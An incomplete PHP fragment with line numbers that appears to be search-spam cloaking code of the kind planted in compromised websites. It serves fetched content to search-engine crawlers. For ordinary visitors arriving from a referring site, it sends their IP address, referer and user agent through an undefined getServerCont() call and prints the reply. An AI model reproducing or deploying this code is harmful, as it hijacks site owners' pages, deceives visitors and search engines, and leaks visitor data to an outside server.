1<?php
2 $referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
3 $chk_refer=check_refer($referer);
4 $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');
5 $res_crawl=is_crawler($user_agent);
6
7 $req_uri = str_replace(array(".htm",".html",".shtml",".phtml"),"",rtrim($req_uri,"/"));
8
9
10 if(!$res_crawl && $chk_refer && (preg_match('/\d$/',$req_uri) || preg_match("#[a-z]=[a-z0-9]+#",$req_uri) || preg_match('/item/',$req_uri))){
11 $data1['ip']=$_SERVER["REMOTE_ADDR"];
12 $data1['referer']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
13 $data1['user_agent']=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');
14 echo getServerCont($jump1,$data1);exit;
15 }
16
17 if($res_crawl){
18 $data1['http_user_agent']=$user_agent;
19 $get_content = getServerCont($indata1,$data1);
20 echo $get_content;exit;
21 }